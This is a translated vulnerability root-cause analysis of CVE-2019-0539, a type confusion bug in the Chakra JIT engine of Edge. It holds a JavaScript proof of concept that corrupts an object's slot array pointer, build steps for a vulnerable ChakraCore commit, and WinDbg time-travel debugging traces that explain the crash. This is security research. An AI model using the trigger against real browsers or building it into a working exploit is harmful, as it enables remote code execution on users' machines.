CVE-2019-0539产生的根源分析
本文翻译自：https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/
简介
CVE-2019-0539是Edge浏览器Chakra JIT Type Confusion漏洞，已于2019年1月修复。该漏洞是Google Project Zero的研究人员Lokihardt发现和报告的。该漏洞可以导致在访问恶意web页面时引发远程代码执行。当Chakra just-in-time (JIT) JS编译器执行对象的类型转化时产生的代码会触发该漏洞。具体参见http://abchatra.github.io/Type/ 。
安装
安装和配置有漏洞的Windows ChakraCore环境，下载地址https://github.com/Microsoft/ChakraCore/wiki/Building-ChakraCore
(in Visual Studio MSBuild命令行)
c:\code>git clone https://github.com/Microsoft/ChakraCore.git
c:\code>cd ChakraCore
c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.slnTTD
TTD，即Time Travel Debugging，是微软推出的一个调试工具：
Time Travel Debugging允许用户记录进程的执行，并向前或向后重放。TTD可以帮助用户更加便捷地进行进程调试。更多关于TTD的描述参见https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-overview 。
- 从微软应用商店安装最新的Windbg。
- 以管理员权限运行。
漏洞根源分析
PoC:
function opt(o, c, value) {
o.b = 1;
class A extends c { // may transition the object
}
o.a = value; // overwrite slot array pointer
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o; // causes "class A extends c" to transition the object type
opt(o, cons, 0x1234);
print(o.a); // access the slot array pointer resulting in a crash
}
main();用TTD运行调试器，直至进程中断、奔溃，然后执行以下命令：
0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053 push rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000 C:\Windows\System32\sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000 C:\Windows\System32\advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000 C:\Windows\System32\win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000 C:\Windows\System32\USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000 C:\Windows\System32\gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000 C:\Windows\System32\GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000 C:\Windows\System32\ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000 C:\Windows\System32\bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000 C:\Windows\SYSTEM32\dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000 C:\Windows\SYSTEM32\dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000 c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000 C:\Windows\System32\IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000 C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000 C:\Windows\SYSTEM32\Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000 C:\Windows\SYSTEM32\bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000 C:\Windows\SYSTEM32\windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
0:004> ub
chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]:
00007ffe`9cd1ec5d 488b442450 mov rax,qword ptr [rsp+50h]
00007ffe`9cd1ec62 0fb74012 movzx eax,word ptr [rax+12h]
00007ffe`9cd1ec66 8b4c2460 mov ecx,dword ptr [rsp+60h]
00007ffe`9cd1ec6a 2bc8 sub ecx,eax
00007ffe`9cd1ec6c 8bc1 mov eax,ecx
00007ffe`9cd1ec6e 4898 cdqe
00007ffe`9cd1ec70 488b4c2458 mov rcx,qword ptr [rsp+58h] // object pointer
00007ffe`9cd1ec75 488b4910 mov rcx,qword ptr [rcx+10h] // slot array pointer
0:004> ba w 8 poi(@rsp+58)+10
0:004> g-
Breakpoint 1 hit
Time Travel Position: 9001D:178A
00000195`cc9c0159 488bc7 mov rax,rdi下面就是最终覆写执行slot数组指针的JIT代码。注意对chakracore!Js::JavascriptOperators::OP_InitClass的调用。Lokihardt称该函数最后会调用转变对象类型的SetIsPrototype。
0:004> ub @rip L20
00000195`cc9c00c6 ef out dx,eax
00000195`cc9c00c7 0000 add byte ptr [rax],al
00000195`cc9c00c9 004c0f45 add byte ptr [rdi+rcx+45h],cl
00000195`cc9c00cd f249895e18 repne mov qword ptr [r14+18h],rbx
00000195`cc9c00d2 4c8bc7 mov r8,rdi
00000195`cc9c00d5 498bcf mov rcx,r15
00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h
00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0)
00000195`cc9c00ec 48ffd0 call rax
00000195`cc9c00ef 488bd8 mov rbx,rax
00000195`cc9c00f2 498bd5 mov rdx,r13
00000195`cc9c00f5 488bcb mov rcx,rbx
00000195`cc9c00f8 c60601 mov byte ptr [rsi],1
00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h
00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object
00000195`cc9c010f 48ffd0 call rax
00000195`cc9c0112 803e01 cmp byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000 jne 00000195`cc9c01f7
00000195`cc9c011b 488bc3 mov rax,rbx
00000195`cc9c011e 48c1e830 shr rax,30h
00000195`cc9c0122 0f85eb000000 jne 00000195`cc9c0213
00000195`cc9c0128 4c8b6b08 mov r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5 mov rax,r13
00000195`cc9c012f 48c1e806 shr rax,6
00000195`cc9c0133 4883e007 and rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2 xor edx,edx
00000195`cc9c0143 4c3b2cc1 cmp r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000 jne 00000195`cc9c022f
00000195`cc9c014d 480f45da cmovne rbx,rdx
00000195`cc9c0151 488b4310 mov rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610 mov qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer下面是JIT代码中OP_InitClass调用之前的对象的内存复制。需要注意的是这两个对象slot是如何内联在对象的内存中的。
Time Travel Position: 8FE48:C95
chakracore!Js::JavascriptOperators::OP_InitClass:
00007ffe`9c674180 4c89442418 mov qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030
0:004> dps 00000195`cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`ca3c1d40
00000195`cd274450 00010000`00000001 // inline slot 1
00000195`cd274458 00010000`00000001 // inline slot 2
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000000`00000000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000000`00000000
00000195`cd274490 00000000`00000000
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000下面的调用栈表明OP_InitClass最后调用的是SetIsPrototype，然后变化对象的类型。变化的结果是两个slot不再是内联的，而是保存在slot数组中。这种变化最终会被JIT代码的其余部分忽略。
0:004> kb
# RetAddr : Args to Child : Call Site
00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755]
01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591]
02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622]
03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598]
04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297]
05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892]
06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680]
07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190]
08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632]
09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532]
0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112下面是OP_InitClass调用后的对象。需要注意的是该对象是转化的，2个slot不再是内联的。但是JIT代码会认为这2个slot是内联的。
Time Travel Position: 9001D:14FA
00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 ds:0000018d`c8e72018=01
0:004> dps 00000195`cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`cd275d40
00000195`cd274450 00000195`cd2744c0 // slot array pointer (previously inline slot 1)
00000195`cd274458 00000000`00000000
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000195`cd277000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000195`cd073f60
00000195`cd274490 00000195`cd073f90
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000
0:004> dps 00000195`cd2744c0 // slot array
00000195`cd2744c0 00010000`00000001
00000195`cd2744c8 00010000`00000001
00000195`cd2744d0 00000000`00000000
00000195`cd2744d8 00000000`00000000
00000195`cd2744e0 00000119`00000000
00000195`cd2744e8 00000000`00000100
00000195`cd2744f0 00000195`cd074000
00000195`cd2744f8 00000000`00000000
00000195`cd274500 000000c4`00000000
00000195`cd274508 00000000`00000102
00000195`cd274510 00000195`cd074030
00000195`cd274518 00000000`00000000
00000195`cd274520 000000fb`00000000
00000195`cd274528 00000000`00000102
00000195`cd274530 00000195`cd074060
00000195`cd274538 00000000`00000000下面是JIT代码错误分配特征值，覆盖slot array指针的对象：
0:004> dqs 00000195cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`cd275d40
00000195`cd274450 00010000`00001234 // overridden slot array pointer (CVE-2019-0539)
00000195`cd274458 00000000`00000000
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000195`cd277000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000195`cd073f60
00000195`cd274490 00000195`cd073f90
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000最后，当访问其中的一个对象特征时，覆盖的slot数组指针是间接引用的，会导致奔溃。
0:004> g
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????总结
Windbg加入了TTD后，调试进程的过程就变得简单了。尤其是设置断点，还可以逆向运行程序，直接导致真实的slot数组指针覆盖。该特征表明了CPU追踪的能力和软件调试和逆向工程的执行重构。